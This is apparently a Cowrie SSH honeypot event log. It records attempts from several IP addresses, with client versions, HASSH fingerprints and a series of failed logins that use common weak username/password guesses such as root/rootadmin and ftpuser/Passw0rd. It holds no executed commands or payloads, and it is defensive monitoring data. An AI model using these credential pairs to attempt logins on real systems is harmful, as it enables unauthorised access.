{"eventid":"cowrie.login.failed","username":"server1","password":"server1","message":"login attempt [server1/server1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:17.190051Z","src_ip":"109.91.4.177","session":"928e29e430ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:18.302945Z","src_ip":"109.91.4.177","session":"928e29e430ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"utnubu","message":"login attempt [ubuntu/utnubu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:18.422999Z","src_ip":"156.251.179.157","session":"380b8912dcd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:19.637263Z","src_ip":"156.251.179.157","session":"380b8912dcd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":33670,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fc5a7b0ba49","protocol":"ssh","message":"New connection: 45.144.233.139:33670 (10.17.0.5:22) [session: 0fc5a7b0ba49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:22.752389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:22.756678Z","src_ip":"45.144.233.139","session":"0fc5a7b0ba49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:22.843557Z","src_ip":"45.144.233.139","session":"0fc5a7b0ba49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"upgrade","message":"login attempt [ubuntu/upgrade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:23.223972Z","src_ip":"45.144.233.139","session":"0fc5a7b0ba49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:24.314508Z","src_ip":"45.144.233.139","session":"0fc5a7b0ba49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":42056,"dst_ip":"10.17.0.5","dst_port":22,"session":"21d7bf773d3a","protocol":"ssh","message":"New connection: 156.251.179.157:42056 (10.17.0.5:22) [session: 21d7bf773d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:27.371166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:27.452634Z","src_ip":"156.251.179.157","session":"21d7bf773d3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:27.671495Z","src_ip":"156.251.179.157","session":"21d7bf773d3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"1111","message":"login attempt [mysql/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:29.087512Z","src_ip":"156.251.179.157","session":"21d7bf773d3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:30.317963Z","src_ip":"156.251.179.157","session":"21d7bf773d3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":46268,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0c3855b58b2","protocol":"ssh","message":"New connection: 103.143.231.102:46268 (10.17.0.5:22) [session: b0c3855b58b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:35.158441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:35.163769Z","src_ip":"103.143.231.102","session":"b0c3855b58b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:35.237077Z","src_ip":"103.143.231.102","session":"b0c3855b58b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":38296,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ecc2eb92321","protocol":"ssh","message":"New connection: 152.32.238.146:38296 (10.17.0.5:22) [session: 3ecc2eb92321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:35.340946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:35.346049Z","src_ip":"152.32.238.146","session":"3ecc2eb92321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:35.356925Z","src_ip":"152.32.238.146","session":"3ecc2eb92321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Passw0rd","message":"login attempt [ftpuser/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:35.442726Z","src_ip":"152.32.238.146","session":"3ecc2eb92321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:35.562164Z","src_ip":"103.143.231.102","session":"b0c3855b58b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:36.457818Z","src_ip":"152.32.238.146","session":"3ecc2eb92321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:36.638308Z","src_ip":"103.143.231.102","session":"b0c3855b58b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":43528,"dst_ip":"10.17.0.5","dst_port":22,"session":"7909287aa298","protocol":"ssh","message":"New connection: 156.251.179.157:43528 (10.17.0.5:22) [session: 7909287aa298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:37.678778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:37.808846Z","src_ip":"156.251.179.157","session":"7909287aa298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:38.200603Z","src_ip":"156.251.179.157","session":"7909287aa298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest2","password":"guest2","message":"login attempt [guest2/guest2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:39.589839Z","src_ip":"156.251.179.157","session":"7909287aa298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:40.823975Z","src_ip":"156.251.179.157","session":"7909287aa298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":45320,"dst_ip":"10.17.0.5","dst_port":22,"session":"933e3dcfacc1","protocol":"ssh","message":"New connection: 46.24.47.94:45320 (10.17.0.5:22) [session: 933e3dcfacc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:47.981043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:47.986214Z","src_ip":"46.24.47.94","session":"933e3dcfacc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:48.091528Z","src_ip":"46.24.47.94","session":"933e3dcfacc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":45002,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b5204a9a540","protocol":"ssh","message":"New connection: 156.251.179.157:45002 (10.17.0.5:22) [session: 9b5204a9a540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:48.354324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:48.455190Z","src_ip":"156.251.179.157","session":"9b5204a9a540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootadmin","message":"login attempt [root/rootadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:48.545271Z","src_ip":"46.24.47.94","session":"933e3dcfacc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:48.704663Z","src_ip":"156.251.179.157","session":"9b5204a9a540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:49.654607Z","src_ip":"46.24.47.94","session":"933e3dcfacc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"welc0me","message":"login attempt [deploy/welc0me] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:50.001476Z","src_ip":"156.251.179.157","session":"9b5204a9a540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:51.226049Z","src_ip":"156.251.179.157","session":"9b5204a9a540","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":46474,"dst_ip":"10.17.0.5","dst_port":22,"session":"527440d5dd52","protocol":"ssh","message":"New connection: 156.251.179.157:46474 (10.17.0.5:22) [session: 527440d5dd52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:59.702715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:59.739084Z","src_ip":"156.251.179.157","session":"527440d5dd52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:00.013127Z","src_ip":"156.251.179.157","session":"527440d5dd52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1234#","message":"login attempt [root/admin@1234#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:01.340460Z","src_ip":"156.251.179.157","session":"527440d5dd52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:02.568982Z","src_ip":"156.251.179.157","session":"527440d5dd52","protocol":"ssh"}
